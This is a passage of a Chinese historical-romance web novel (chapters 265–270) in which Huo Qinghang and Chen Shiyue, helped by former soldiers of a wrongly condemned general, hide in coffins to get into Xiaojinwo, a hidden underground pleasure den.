掌柜似乎是收拾了一番,与底下人细致的交代了几句,其后才重新去找霍青行。 此刻,陈识月已经上了车。 霍青行和林序就在车边站着,只瞧着掌柜拢了拢包袱,带着一个伙计上前拱手,“让诸位久等,走吧!” “你的客栈不管了?”林序问。 掌柜笑了笑,“怎么能说是不管了呢?这客栈本来就是咱弟兄的栖身之所,如今也不过是让人代管,少了我也不会有太大的问题。眼下你们才是关键,我人微言轻,势单力薄,怕是有生之年也未必能为老主子翻案,但是你们不一样……” 年轻,又有霍家作为依靠。 只要霍家能出手,老主子的案子肯定会有水落石出的一天。 “我从不相信所谓的罪名,老主子一定是清白的。咱当年跟着老主子东征西讨,几乎没什么错漏之处,这潜龙关一役绝对有问题。”掌柜面色凝重。 可惜当时他不在,不知道究竟如何,跟着一起去的弟兄也都没有回来,他想查明真相也是无从下手,只能日日等着,时刻打探着、盯着金都的状况。 “我也是这么想的。”霍青行开口,“掌柜的,那就有劳您走这一遭。” 掌柜拍着胸脯保证,“有我在,一定带着你们去销金窝。” “在那之前,我们得先去找个人。” 霍青行看了一眼陈识月。 二人心照不宣。 马车快速离开,仿佛昨夜之事不曾发生过。 这是陈识月第一次,返回金都城,在城门口接受盘查的时候,她整个人都是冰凉的,内心深处依旧是恐惧,毕竟逃犯的身份是危险的刀子,随时都能从头上落下。 霍青行倒是没什么大碍,进来的时候都有文牒,其后父亲也给他送了东西,即便不去衙门报道,有这凭证在,回家都不是问题。 横竖他不是领兵而归,进出金都也不过是回家的私事。 若然领兵,则是另一回事,得先去衙门报道,其后盖了官印,递交凭证,否则边疆武官领兵回朝,不报不理则有谋逆之嫌。 好不容易进了金都城,陈识月始终没缓过劲来,看得一旁的掌柜也跟着愣了愣。 “姑娘你没事吧?”掌柜面色微恙,“没来过金都城?这是吓得?还是哪儿不舒服?要不然寻个医馆?” 陈识月摇摇头,“我没事。” “林序,你与掌柜的在这里等着,我与月儿去见个人,马上就回来。”霍青行吩咐。 林序颔首。 回春堂。 瞧着手中的书信,看着高高在上的匾额,霍青行左顾右盼,“是这里没错吧?” “是。”陈识月点头。 回春堂这会人不少,瞧着都是来看病的,大堂内有看诊的大夫,于是乎二人便从边上走过,去找了柜台前的小童。 听闻是来找掌柜的,不由得眉心微蹙。 “永安县,徐家。”陈识月自报门楣。 一听这话,小童当即去回了掌柜的。 不多时,便有一老者上前拱手,“两位是徐家医馆来的?” “徐家的老太爷是我外祖父。”陈识月将信件送上,“外祖父说,来了金都可来找回春堂白家,想来能给我个落脚的地方。” 外祖父? 一听这话,老者眼睛都亮了,“没听说徐敬那老头有什么外孙啊?” 陈识月一身男儿装束,瞧着干净利落,也就是掌柜那样见的人多了,才能分出她是男是女,是以老者一时半会误认为她是男儿。 “我……”陈识月敛眸,“能否借一步说话?” 老者点头,冲着内堂做了个请的手势,“这边请。” 陈识月看了霍青行一眼,二人心照不宣的往内走去。 这回春堂可真不错,连院子里晾晒的药草,都有专人看护翻转,伙计们忙前忙后,瞧着甚是热闹。 蓦地,老者脚步一顿,看了看手中的书信,又看了看陈识月,目光变得狐疑起来…… 第二百六十五章 现在的年轻人,也是好样的 “你是个姑娘?”老者愣了愣。 陈识月点点头,“是!” “你会医?”老者又问。 陈识月行礼,“略懂。” “真是后生可畏。”老者由衷感慨,“徐敬这老家伙,还真是有点本事,凭空多了个外孙女,竟还是个好苗子。” 陈识月忽然被夸了一下,面上有些不好意思,“晚辈才疏学浅,不敢当。” “你不知道你外祖父与我……也算是师出同门吗?”老者一开口。 陈识月还真是愣住。 外祖父没有说过。 “我就知道那老小子没说,还惦记着当年那一口气呢!”行至僻静处,老者郑重其事的开口,“我姓白,比你外祖父要小上几岁,你可以叫我叔公。一眨眼的功夫,后辈齐出,我们这些老家伙都该给你们让位了。” 陈识月赶紧行礼,“叔公太客气了,晚辈有太多需要学习之处,还望叔公来日指点。” “真是又乖又礼数齐全,难怪你外祖父在信中不断的夸赞你。”老者笑了笑,“来,我给你们安排房间,你们这段时间在金都就住我这里。” 说着,带着二人出了后门。 霍青行和陈识月对视一眼,徐家老太爷做事真的是太谨慎小心,甚至于在信中提及,让他们小心一些,莫要惊动了太多人,说他的外孙女喜静,来金都是因为有些要事处置,不能大张旗鼓。 白府。 “我让人给你们单独准备院子。”老者打量着霍青行,那眼神就跟看自家女婿似的,倒是颇为满意,瞧着身强体壮,一直护在陈识月的左右,像是个话不多的可靠之人。 这院子清幽,环境雅致,算不得奢华,却也是用了不少心思的。 “这院子后面种着不少药草,素日里都有人精心照料,你们不必理睬便是。”老者解释,“安安心心的住在这里,没人会随意打扰你们。” 陈识月毕恭毕敬的行礼,“多谢叔公。” “你外祖父算是我的师兄,处处压我一头,有一回输给我了,便与我生了嫌隙,这争强好胜之心,要引以为戒啊!”老者打着趣儿,“你们先适应适应,有什么事只管唤人便是。当是自己家里,不要见外,难得他还能与我说句软话。” 说起这个,老者还有些沾沾自喜的模样。 老小孩,老小孩,这便是了。 “叔公,我们要出去一趟,行李什么的先放在屋内。”陈识月低声解释,“是一些私事。” 老者顿了顿,“这会就出去?” 想起信上所说,他们是来办事的,老者便也没拦着。 “注意安全,若是有什么事只管回家,若我能帮得上忙的,一定会竭尽全力。”老者低声叮嘱,“金都这地方,瞧着繁华,其实都是陷阱。” 这是好意。 陈识月也明白,刚要说点什么,却见着底下人来报,说是有人找。 闻言,老者便率先离开。 “收拾一下,我们待会就告辞。”霍青行开口。 陈识月点头。 将行李放下,扫一眼屋内的状况,陈识月和霍青行便转身离开,走之前还是要说一声的,这是正常的礼数,毕竟是住在人家的家里。 只不过刚走出去没一会,便瞧见了熟悉的面孔。 “掌柜的?”陈识月愣住。 霍青行不由得心头一震,不会这么巧吧? “你们……”掌柜缓步上前,惊愕当场,“怎么在这?” “老李,你认识他们?”老者上前。 掌柜忽然有种大水冲了龙王庙,自家人不认识自家人的滑稽之感,“我就是护着他们进的金都,你说我认不认识?老白啊,这位公子姓霍。” 一听这话,老者面色一僵。 霍? “哪个霍?” 掌柜叹口气,“当然是麟州霍氏。” “霍……”老者上下打量着霍青行,“这么年轻,那就是……” 霍青行当即拱手揖礼,“在下,霍青行。” “小将军之名,如雷贯耳。”老者慌忙拱手回礼,其后面露敬佩之色,“霍家镇守边关,百姓心生感激,我等更是敬佩。可惜我老了,要不然也得尽一份心。” 说到这,老者好似有点诧异,狐疑的看向掌柜的。 “老白,你不必用这样的眼神看我,他们是自己人,所行之事也都是为了老主子。”掌柜的这话一出口,老者便傻眼了。 陈识月愕然,与霍青行对视一眼,已然明白了这里面的缘由。 “你们……”陈识月有点不敢相信,“那我外祖父是否知情?” 老者名白重,当初是裴家军的军医,后来就是他护着李严和几个受重伤的弟兄,留在了一个小村子里,这才捡回一条命,没有参与潜龙关一役。 “不知。”白重忙摆手,“这件事我可不敢轻易让人知晓,纵然是同门也只是知道我当年离开师门,去过一趟边关,当时我是作为游医救过老主子一命,所以我在军中行走却没有入籍。” 事后查起来,自然也没有这么个人,至少按照名册来追究的时候,与白重没有任何关系。 “真是缘分啊!”看向陈识月,白重摸了摸自己的长须,“兜兜转转的,居然都聚在一起,这是不是说明,老天爷有意安排,要让老主子的冤屈重见天日?” 众人沉默。 “有什么需要我帮忙的地方,只管开口说话。”白重忙道,“我知道,这事……事关重大,又是那么多年的陈年积案,想要查清楚并不容易,我也不求能速战速决,只求有人能记得老主子,莫要寒了边关将士的心!” 掌柜忙道,“我送他们去销金窝。” “销金窝?”白重愕然,“你们要去销金窝?” 陈识月一怔,“叔公,你也知道销金窝?” “长乐门的销金窝,当然也是知道的。”白重目光幽深,“之前还出现过命案,但后来说是抓住了凶手,衙门便草草结案了。” 说起这个,白重长叹一声。 人命如草芥,有时候还真是可怜又可悲。 “销金窝害过不少人,不知道也难啊!”白重看向陈识月和霍青行,“你们要去销金窝,可得三思,那不是什么好地方,虽然我没进去过,但听说容易迷失在其中。” 霍青行握紧了陈识月的手,“事关重要,不得不去。” “生死有命,拼命一搏。”陈识月回答。 白重忽然有些感慨,“我道是无人再记旧人颜,却是新人记旧人,如今的年轻人倒也不是完全无用,铮铮铁骨胜昔年呢!” “我们老了,能托举便托举,只要来日有望,就算当垫脚石也是心甘情愿!”掌柜欣慰的笑着。 第二百六十六章 他们进了怪圈 难得汇聚一堂,自然不能站在外面说话,还是得先进去再说。 书房内。 掌柜仔细讲了讲自己知道的一些事情,其后便是一帮人围拢在一处,仔细商议着接下来的每一步,人多力量大,三个臭皮匠顶个诸葛亮。 吃过晚饭之后,掌柜便出去了,白重也跟着走了,准备一些必备之物。 只待掌柜安排好了之后,再通知陈识月和霍青行。 “进去之后,你莫要轻举妄动,只管跟着我便是。”霍青行仔细叮嘱,生怕进去之后会把人弄丢了,恨不能在她身上绑一根绳子。 陈识月整理着随身小包里的物什,毒药和解药,都得仔细检查,且看是否有富裕,免得到时候缺斤少两的,可就来不及了。 “放心放心,我都记着呢!”陈识月挑眉,“你这都说了多少回,我耳朵都快长茧子了!” 霍青行不以为意,摩挲着手中的暗器,将暗器擦得锃亮反光,“不管说多少回,都得看紧你,不能让你有任何的闪失。” “我会小心的。”陈识月将一枚药丸塞进他的手中,“解毒丸,随时保命!” 她自身倒是不成问题,但霍青行不可以随意,虽然吃了自己祖传的药,但到底过了这么久,她也不确定他这药效还能持续多久。 带着总归安心,害人之心不可有,防人之心不可无。 霍青行小心翼翼的收起来,其后又盯着陈识月看,目光略显担忧。 “你不必如此看着我,我会保护好自己。”陈识月还能不清楚他这神情吗? 霍青行垂眸。 “你不在我身边的时候,我经常独自一人上山采药,什么危险没遇见过?”陈识月不以为意,“你不要如此紧张。” 出门在外,他似乎比她还紧张。 “以前不在,我自不管。但是如今我在,自然是要管的。”他理直气壮,将一个拇指长的短刃塞进她的掌心,“这杀不了人,但是关键时候可以用上。” 短刃很短,合着刀鞘,也就是割割绳索什么的,瞧着没什么用,实则也没什么用。 陈识月小心的收好,“你这都从哪儿弄来的?” “每日都想着,怎么能让你更安全一些,瞧见这些适合你的,便都收拢起来。这小东西削铁如泥,就是小了点,但偶尔你要是用来挖药草,也不是不可以,随身携带是最方便不过,比匕首更容易藏身。”霍青行现在看到什么好的,都往手里捏。 转头,全送给她。 陈识月抬眸看他,眼底略有些水光盈动。 “公子!”林序大跨步进门。 乍然打破了这气氛,屋子里的三人忽然你看看我,我看看你,顿时略显尴尬。 “说吧,杵着当顶梁柱吗?”霍青行瞥了林序一眼。 林序嘿嘿一笑,不好意思的挠挠头,“这不是、不是不好意思吗?一不留神的,就好像打扰公子的好事。” “知道还敢废话?”霍青行语气不耐。 林序忙道,“外头准备好了,让我来叫你们出去,掌柜的那边都等着了。” “不早说!”霍青行睨了陈识月一眼,语气放缓,“走吧!” 陈识月颔首,紧跟在他身后出去。 既是安排好,那便快些去吧! 天黑黑,好办事。 “今晚是先去看看的,带你们熟悉一下路径,等到明天夜里咱们就照着做。”掌柜解释,“有些事情不是你们想的那么简单,行差踏错,怕是误了你们的性命。” 霍青行点头,“我们会照做,您放心便是。” “好!” 掌柜松了口气。 就怕他们会擅作主张,到时候真的惹出什么幺蛾子,就没办法进入销金窝了。 义庄。 原本天黑不能出城,所幸早就安排好了。 出城的时候,陈识月和霍青行的眼里都有几分狐疑之色,这可不是简单的事儿,除非他们在城门守卫之中也有熟人安排。 回过神来,二人都躲在灌木丛中,瞧着不远处的义庄。 四下荒芜一片,冷风瑟瑟而过,空气里弥漫着阴冷的泥土气息,伴随着夜半长鸣的野鸟,周遭的氛围都变得诡异可怖。 这要是孤身一人,不得吓得三魂飞了七魄? 霍青行握了握陈识月的手,虽然不能言语,怕被人察觉动静,但他也是怕她吓着,到底是个姑娘家,不管什么时候,也不管外人如何看待她,在他心里……她永远是那个坐在后门台阶上哭泣的小姑娘。 陈识月看向他,倒是什么都不怕。 死人都不怕,还怕孤魂野鬼吗? 不怕! 她一点都不怕。 这世上最可怕的就是人心,要不然国公府和陈家也不会落得如此下场。 “来了。”掌柜低语。 众人皆屏气凝神,目视前方。 只瞧着五个黑衣人,就如同鬼魅一般,几乎是用飘的,直接闪入了义庄内。 原本昏暗的义庄,忽然间光亮全失,这下子全部成了黑黝黝一片,与周遭融为一体,那仅存的光亮被顷刻间吞噬殆尽。 所有人的心瞬时悬起,其后愈发的盯紧义庄。 一声乌鸦鸣叫,登时响彻夜空。 紧接着,便是一道黑影冷不丁蹿出了义庄。 待众人定睛一看,竟瞧见了四人抬棺,一人领路,恰似一阵风,快速掠过树梢,竟是凭空飞腾而去,速度之快足以令人咋舌。 掌柜一怔,却被霍青行摁住。 “林序!” 林序得令,旋即飞身而起。 本就准备好了黑衣蒙面,此番更是完美的藏匿在黑暗中,紧随这些人而去,倒不是什么极难之事,毕竟探路充当先锋,时刻刺探军情也是林序的分内职责。 不过,还是让林序吃了一惊。 这五个人抬着一口棺,竟也是飞得极快,轻功卓绝几乎难得一见,倒是不曾听过他们的名号。这样的人物,即便身在江湖,亦该是声名显赫之辈。 难得! 真是难得。 不过片刻,这帮人再度转回。 等他们回来之后,又一口棺材被抬了出去。 半晌,林序落下。 “怎么样?”陈识月有些焦灼。 林序深吸一口气,“放心,找到位置了,就是那个位置有点怪异,好像是有什么特殊的东西,一眨眼的功夫,进了那个圈就不见踪迹。我不敢靠近,只能在这周围绕了一圈,怕你们担心就赶紧回来报信。” “进了那个圈?这是什么意思?”陈识月不明白这个意思,“什么圈?” 林序皱眉,“天黑,看不清楚,就是一圈石头,仿佛围成了一个石头圈,留了一个口子,棺材就是从那里抬进去的。” 众脸懵逼。 怪圈? 石头圈? 第二百六十七章 遇见危险,先保护她 对于林序的描述,众人多数还是有点蒙蔽的。 可以料想山洞,石门,又或者是地道入口,或者是宅子庄园之类,毕竟销金窝的入口越能遮人耳目,越是安全。 但石头圈…… 很难想象。 众人面面相觑,谁也没有多说什么,只是静静的听着林序的描述。 “周围我也绕了一圈,没发现什么异常,甚至于只有两个看门的,就是那个石头圈的入口,其他便一无所觉。”林序兀自揣摩着,“不知道他们这是什么意思?” 没什么看守的人,说明他们对这里很是自信。 “附近这一带都没有宅院,只有一片林木,其后便是一圈石头,寻常经过也不会惹来注意,就是不知道贸贸然闯进去会怎么样?”林序当时也想进去看看,又怕惹人怀疑,打草惊蛇。 霍青行不说话,陈识月也保持沉默。 掌柜摸着下巴思忖,“不会是什么邪门的,所谓的什么阵法之类吧?” 众人:“??” “天下事,无奇不有,你们应该也都多少遇见过。长乐门里有太多的能人异士,江湖上那些不入流的手段,他们也是得心应手,所以不管做什么都实属正常。”掌柜开口,“如果是布置了阵法,那就有点意思了。” 不是谁都能进去的。 看门的未必是看门的,可能是坐阵的。 “那就更不能打草惊蛇了。”陈识月道。 掌柜倒是不担心这些,“咱进去不是问题,我有法子,你们也有令牌,可畅行无阻,怕的是你们在里面遇见事,想要出来的时候可就没那么容易了。” 进去容易,出来难。 这才是问题的关键。 “至少我们知道,入口在这里,来日若是真的在里面闹起来,外面的人也能找到地方接应。”霍青行面色凝重,“那五个人……” 好俊俏的轻功,只怕不是容易对付的。 霍青行的话没说完,但是陈识月能明白他没说完的意思。 “要是动手的话,那五个就是麻烦。”陈识月沉着脸。 夜色沉沉,这帮人还在蚂蚁搬家。 霍青行等人就蛰伏在暗处,将他们“蚂蚁搬家”的过程看得一清二楚,大概是对自己的轻功太过相信,所以他们完全不担心会有人跟上自己。 等到黎明之前,终于一切归于寂静。 半个时辰都没有再见到那五个黑影,想必是不会再来了。 众人暗自松了口气,事情大概到此为止。 “只瞧见他们往里面挪,没见着里面有人出来,这大概只是个入口,出口应该另有别处。”掌柜站起身,瞧着东方略显光亮。 天将亮,这是黎明前的黑暗。 “狡兔三窟,实属正常。”霍青行环顾四周。 陈识月揉着酸胀的脖颈,长长吐出一口气,“这五个人真是够卖力的,折腾一晚上竟也不怕累死,抬棺倒是抬得极为顺手,跑得还飞快。” 待天色彻底亮了,众人快速转移了阵地,走出甚远之后堪堪止住脚步。 “要不怎么说,此处隐秘呢?来的人都是悄无声息,黑布袋套头躺在棺材里,谁知道会被送往何处?若是发现异常,许是当场就死了。”掌柜的脸色不太好,“你们确定还要进去吗?” 看了一晚上,应该也知道其中凶险。 “我可以换个人进去,且探探里面的消息再说。”掌柜开口,“要不,你们……” 霍青行看向陈识月,陈识月抿唇,“先休息,今夜天黑了我们再出发。” 看了一晚上,差不多熟悉了流程。 接下来,就该是实践。 听得这话,掌柜便也不再拦着,每个人都有自己想做的事情,拦不住,根本拦不住。 众人没有回去,而是寻了个能休息的阴凉处。 原地休息,是最好不过的。 来的时候就已经带上了干粮和水,所以这会也没什么问题。 陈识月在野外生存已经是习惯,上山采药都是这么来的,外套一裹,身子一缩,便在茅草堆里闭眼小憩,没有半点矫揉造作,看得霍青行满脸心疼。 行至小溪边,林序道,“公子,您真打算进去?我瞧着那里面不是什么好去处,这一圈的石头城,看得人很是心慌,虽然略懂排兵布阵,但若是遇见行家,咱未必能真的应对。” “总要进去看看,才能死心。”霍青行不以为意,“长乐门追杀我们一路,做了多少龌龊事,你不是不清楚。今日蠹虫不理睬,兴许明日就是祸国殃民的灾星。” 真的到了那时候,谁知道会有什么结果呢? “日益壮大,终将成患。”霍青行面色凝重,“何况长乐门与上柳居士有所牵扯,做下劫掳少女之事,无视家国律法,实乃罪该万死。这样的祸患不除,还等着他们茁壮成长,来日危及朝廷,祸害我们拼死保卫的家国天下与至亲吗?” 今日的刀,没落在自己身上,兴许觉得无关痛痒。 可若是哪天,落下来了,那还来得及吗? 人最不该抱有期望的,就是对恶人恶事的侥幸。 雪崩之时,没有一片雪花是无辜的。 “月儿一个弱女子都不惧怕内里阴暗,你我堂堂七尺男儿,又有一身武艺在身,还有什么脸面畏惧不前?”霍青行看向他,“该畏惧的是藏在暗处的宵小之辈,而不是我们。” 恶人尚且不惧,惩恶扬善之人又有什么可怕的? “是!”林序行礼,“安信那边处理好了之后,就会带着人折返,咱的弟兄也都在等着您的一声令下,到了那时候,咱就是拼了这条命,也得杀进劳什子的销金窝。” 霍青行拍了拍他的肩膀,“若是遇见危险,先带月儿走。” “是!”林序颔首。 日里,这林子里很是安静。 趁着对方松懈,白日里休憩、养精蓄锐的功夫,霍青行亲自去了一趟义庄摸底。 义庄内。 白日里也跟夜里差不多,黑漆漆的,四下透着一股子阴气。 一排棺椁整整齐齐的摆放在屋内,只是有些棺材前面有香炉,有些则是什么都没有,空气里隐约散发着难闻的气味,装模作样也得有九分真,想必是真的有无名氏搁在棺材里发烂发臭。 霍青行隐匿在房梁上,冷眼扫过底下的一切,瞧着有跛脚的老汉,一瘸一拐的上前,给香炉续上三炷香,然后嘴里念念有词的离开。 棺材有新旧之分,新的没有香炉,旧的续了清香。 待人走了之后,霍青行轻飘飘落地,缓步朝着那三副崭新的棺材走去…… 第二百六十八章 原来,这就是销金窝啊! 义庄里的状况,被霍青行摸了个底掉,回来的时候陈识月还在安睡,便稍稍松了口气,转头看了林序一眼,“眯一会吧!” “是!”林序颔首。 少将军回来了,他们自然可以放心。 如今有一日的时间可以休息,倒是没什么太大的问题,且等着今晚天黑再说。 霍青行坐在陈识月身边,瞧着她蜷在那里睡得不踏实,大手一捞,便将她捞进了怀里。 羽睫骇然扬起,陈识月猛地惊醒,却在看到眼前人便是霍青行时,不带任何犹豫的闭上眼,若是别人,许是已经出手,但若是霍青行…… 若是霍青行,便可安然入睡。 是他,就心安。 霍青行为她掖了掖外衣,让她能枕在自己怀中安睡,不瞬便听得她均匀的呼吸声,可见是重新睡了过去。 越看越欢喜的结果,便是低头在她眉心轻轻落吻。 瞧着二人这般模样,掌柜的愣了愣,偏头看向一旁司空见惯的林序,恍惚间好似明白了什么,想来同住客栈一间房的少男少女,自然是有些情愫的。 陈识月睡得很沉,呼吸绵长而均匀,霍青行就目不转睛的盯着她,眸色逐渐柔和起来,轻轻的拥着她闭上眼小憩。 有他护着,她随时可以安睡。 这一觉睡醒,天色昏暗。 陈识月睁开眼的时候,人还有些懵,伸个懒腰便对上了霍青行的目不转睛。 四目相对,四下静谧。 下一刻,陈识月慌忙别开视线,面颊微红。 “醒了?还是想继续睡?”霍青行问。 陈识月回过神来,“醒了,不睡了。” “好!”霍青行扶着她起身,“活动活动筋骨,吃点喝点,等到天再黑点,那就可以出发了,你不要紧张,棺材里都被我做了手脚,即便封棺都不会出事,有足够的出气孔。若有什么不对,你只管发出异样的动静便是。” 陈识月看向他,“你……做了手脚。” “是!”霍青行承认,“棺材的空间太小了,若是他们忽然察觉异常,封闭了棺材,真是叫天天不应,叫地地不灵,自然要早做防备。” 命运还是要交到自己手里才是! “嗯!”陈识月点头。 天黑了,该动手了。 义庄连同周遭,再度黑沉下来。 霍青行看了一眼身侧的陈识月,仔细为她拢发,“别担心,林序在前,我为你殿后。” 掌柜:我就是个陪跑的呗! 夜沉沉。 风呼啸。 一口棺木四人抬,一人领着黄泉路。 幽冥苦楚无人笑,摇曳随风不归魂。 白幡随风,此生随缘。 黄土之下,红粉骷髅。 棺材被抬起来的时候,幽闭感袭来,虽然平稳而行,但透过缝隙渗进来的风,却能让人汗毛直立,不敢大意。 脑袋被黑布套住,不知东南西北,难辨是人是鬼。 陈识月浑身发冷,但很清楚这是必然,想要进销金窝,就得过这一关,不过……她相信霍青行,不管发生何事,她若唤他……他必定会来。 棺材落地,身子抖了抖。 “砰”的一声响,耳畔传来呼喊声。 陈识月陡然绷紧了神经,下意识的握紧了袖中手。 “尘归尘,土归土,忘忧河前皆止步。” 脑袋上的黑布袋被摘下来,光亮乍现的时候,陈识月下意识的别开头,以袖子遮掩眸子,须臾才缓过神来,终是看清楚了眼前的一切。 暗河涌动,碧波浩渺。 别说,还真的有种忘川河的感觉,河面上水雾氤氲,在摇曳的灯笼微光之下,隐隐有种诡异的氛围,十米开外看不清楚人脸,百米开外人畜不分,只闻其声。 一回头,自己方才躺过的棺材已经被人挪走了,不知道是送到了何处,只瞧着塞进了一道石门内。 石门关闭,再无棺材痕迹。 陈识月有点心慌,没见着林序的身影,不知道是不是已经被送过了河? 抬眼,瞧着有船夫从白雾里划船而出,最后停靠在岸边。 “公子,上船吧!”方才喊号的船夫开口。 陈识月不敢犹豫,怕被人瞧出端倪,当即上了船。 一叶小舟,一个船夫一盏灯。 船头昏黄,灯火摇曳。 船行河面上,周遭白雾缭绕,陈识月一颗心七上八下, 一时间还真是不知道前路在何处?坐在船上身形摇晃,因着神情紧绷的缘故,导致她这会有些晕乎乎的,五内翻滚得难受。 这怕是……晕船了吧? 陈识月回头看了一眼,但没瞧见霍青行他们,大概这江面上来回就两个船夫? 一个船夫走,要等到另一个回来,才能继续行船。 “这位公子来销金窝,是打算快活快活?”船夫忽然开口。 陈识月平复心绪,“既是销金窝,自然是逍遥快活的。一分金,两分银,三个铜板也敢来。” “公子坐好了,转弯风急,浪打船头容易晃。”船夫高喊一声,似乎是在对暗号。 陈识月心头一紧,还好掌柜之前都交代过了,抓紧了船舷。 不多时,果真船行转弯。 陈识月还真的险些被甩出去,浪急打头,一个转弯就险些被掀翻,其后她便闻到了一股子汗臭味,夹杂在白雾之中,可见有人藏匿在暗处,随时留意着船只。 果然如掌柜所言,一关接着一关啊! 过了转弯之后,船的速度便慢了下来,其后她便看到了一道门慢慢打开。 黑洞洞的,像是要吃人。 “公子坐稳了,咱这是快要到了!”船夫提醒。 陈识月没吱声,愈发抓紧了船舷,下一刻便没入了黑暗中,周遭昏暗无光,岩壁合着水汽寒凉,透着一股子阴冷森寒之气。 寒气侵入,令人汗毛直立。 陈识月默默数着心跳,大气不敢出,所幸还有一盏船头灯。 终于,船夫不再摇橹。 光亮重新出现在前方,陈识月的一颗心总算落回了肚子里。 船,停下。 嘈杂之音率先入耳。 销金窝不愧是销金窝,这简直是个地下城。 肉眼可见的,花灯满目。 岸边等候的守卫带着鬼面具,在陈识月上岸之后,守卫便递给她一个鬼面具。 “戴上。” 灯火辉煌之中,人群穿梭,每个人的脸上都戴着鬼面具,叫人难辨身份。 陈识月徐徐戴上了面具,缓步朝内走去,只觉得眼前灯火晃眼,果然不负销金窝之名,风中夹杂着欢笑之音,靡靡之音,丝竹管弦之音…… 误入繁华不知深处,放眼所见皆是昏黄。 陈识月站在人群中,心中感慨万千,难怪那么多人想要进来,一进来……身上的银子不花完,怕是都舍不得出去了吧? 冷风一吹,她猛地打个寒颤清醒过来…… 第二百六十九章 温柔乡,英雄冢 陈识月忽然意识到,空气里弥漫着的气味,淡淡的,寻常人根本嗅不到,但她的天赋异禀,对于气味很是敏锐,所以她能闻到这股子怪异。 进了这销金窝,人会迷失其中,丧失理智。 难怪…… 难怪! 陈识月回头看了一眼,又观察了一番周遭,倒是没有走远,但也没找到林序的踪迹,这小子估计中招了,所以不知道跑到了何处。 她绕了一圈,确定身后没人盯着,又回到了原地,远远的就看到了刚上岸的霍青行。 面具是什么款式,她全然看不清楚,毕竟隔着一段距离。 但是,她一眼就能认出他的身形。 人与人之间的相处,有时候不只是看脸,闻气息,看身形,言行举止,各方面加在一起,便会形成一个熟悉到不能熟悉的一眼认定。 霍青行亦是如此,戴上面具的那一刻,扫一眼人群便定格在陈识月的身上,隔着人海,隔着面具,他都能认出她来。 缓步上岸,霍青行走到了陈识月身侧,二人对视一眼都没有说话,只是极为默契的走到了一旁。 人来人往,每个人都像是失了神志,于梦中迷离恍惚,一个两个都恣意挥霍,哪儿有空管旁人怎样?而这里坚守的守卫,只是守住了进出路,以防有人作死逃离,又或者是坏了这里的规矩。 在这里,你只要有银子,做什么都可以。 当然,不能寻衅滋事,不能打架斗殴,只要快活,拼命的快活…… “没看到林序。”陈识月开口。 霍青行敛眸,“有点怪怪的。” “这空气里有一股怪味,应该是有迷惑神志之用,但此处宽敞,香味没办法一直维系,若是远离人群,风一吹就醒了。”陈识月低声解释,环顾四周,“这地方看上去很大。” 这个时候,霍青行便不得不感谢,自己一直以来的谨慎。 上岸的时候,他就屏气凝神,所以没怎么吸入这样的怪味,径直走到了陈识月的身边,要不然的话,估计也得跟林序一般,不知走到了何处? “等等他们吧!”陈识月开口。 霍青行颔首。 从这里出去的人,多多少少会神志不清,应该就是这个原因吧? 上岸的人,一个个被领了过来。 陈识月和霍青行轮流着去领人,所幸这里人来人往的,每个人都神志不清,忙着乐呵,没功夫去立在身边的人在做什么。 “林公子呢?”掌柜不解,“不会是走丢了吧?” 霍青行倒是不怎么担心,“这小子滑得跟泥鳅一样,不管在哪都能活。” 陈识月不是说了吗? 这地方空间大,即便是迷香也没办法弥漫周遭,风一吹就散,只要有足够的时间,林序就一定会清醒过来,那小子一旦清醒,就会知道该做什么。 尸山血海里走出来的人,从来不是无脑之辈。 莽夫活不出战场,蠢货赢不了劲敌。 “现在呢?”陈识月问,“我们该去往何处?” 掌柜深吸一口气,“大家相互牵扯羁绊,沿着水边走,这样能一直保持清醒,你们去找你们想找的,我去找林公子。这地方太大了,若是一群人在一起,怕是一两天都搜不完,还是分开为好,反正什么时候想离开了,你们只管去找守卫,他们会随时安排船只把人送出去。” 进来的时候是抬棺,但是出去就容易多了,眼睛上蒙着黑布就把人送走了,因为人走的时候会被塞上一枚药丸,到时候一觉睡醒就在外面了。 至于怎么出去的,那就不得而知了…… “好!” 这地方掌柜比较熟悉,他来找林序自然是最好不过的。 有霍青行在,陈识月也安全。 有勇有谋。 陈识月跟着霍青行沿着暗河边走,这边的白雾早已散得七七八八,大致能看清楚,这条暗河不小,且暗涌、漩涡不少,可见流速很快,当远离这等危险。 “若是发现我不对劲,你莫要手软。”霍青行低语。 陈识月与他比肩而行,“你放心,我不会。” 霍青行:无情。 一条主路往前,陈识月环顾四周,只瞧着越往里走,越是灯火璀璨,竟有亭台楼阁逐一显现,花楼林里,或倚岩而建,或本身就是洞窟,有天然形成的,也有后天开凿。 要弄出这么大一个地下城,非寻常人力物力可以支撑,且需要上面罩着,否则迟早会成为朝廷的眼中钉肉中刺。 有俏丽的女子依在栏杆处,冲着底下的人群挥动着颜色鲜亮的绢帕,笑靥如花,伴随着那些丝竹管弦之音,只叫人心猿意马,心神荡漾。 “难怪叫销金窝,进了这地方,金银财帛都已经不足以挥霍,恨不能把命都丢在此处。”陈识月由衷感慨,“温柔乡,英雄冢。” 霍青行想着,“大肆敛财,不知所谓何用?不能利国利民,只能是招兵买马,谋逆造反。” 闻言,陈识月掩在面具下的眼眸,微微露出错愕之色。 谋逆? 造反? “难道不是吗?”霍青行环顾四周,“你若是有这泼天的财富,所想第一件事是什么?” 陈识月脱口而出,“开医馆。” 霍青行在原地站了站,“所以啊!” 区别不就出来了吗? 每个人的梦想不同,既是敢冒这么大的风险,肯定不是为了开医馆,也不是为了劫富济贫,所以这里面究竟有怎样的腌臜勾当,用脚指头想想都清楚。 “你说,谁会知道上柳居士呢?”陈识月低声呢喃。 这么大的地方,他们走了好一会,都还没看到边儿,道路十八弯,处处可见巡逻的戴着鬼面的护卫,处处可见迷失其中的客人,就是没看到领头的。 这些都是小喽啰,跟着也没什么用。 又不能直接问…… “走!”霍青行牵着她的手,没入了人群之中。 陈识月心中一紧,他这是发现了什么? 霍青行走得飞快,似乎是跟上了什么,紧接着一个拐弯,拐进了一个弯道。 突如其来的寒意,惊得陈识月冷不丁打了个寒颤,紧接着便瞧见了一个身影,此人走得很快,是以霍青行带着她亦带着几分小跑。 蓦地,霍青行停下。 下一刻,他冷不丁将她圈入怀中,将她裹在怀中缩在了阴暗的角落里。 冷风掠过,吹不散他怀中的暖。 冷热交替,让陈识月骤然起了一身的鸡皮疙瘩,但她不敢动弹,只小心翼翼的僵在他怀中,听得有脚步缓缓靠近,然后停了下来。 这是……被发现了? 她抬头,只瞧见他绷紧的下颚线,这是危险的信号! 第二百七十章 他认定的人,此生不悔 霍青行抱紧了怀中的陈识月,做好了随时动手的准备。 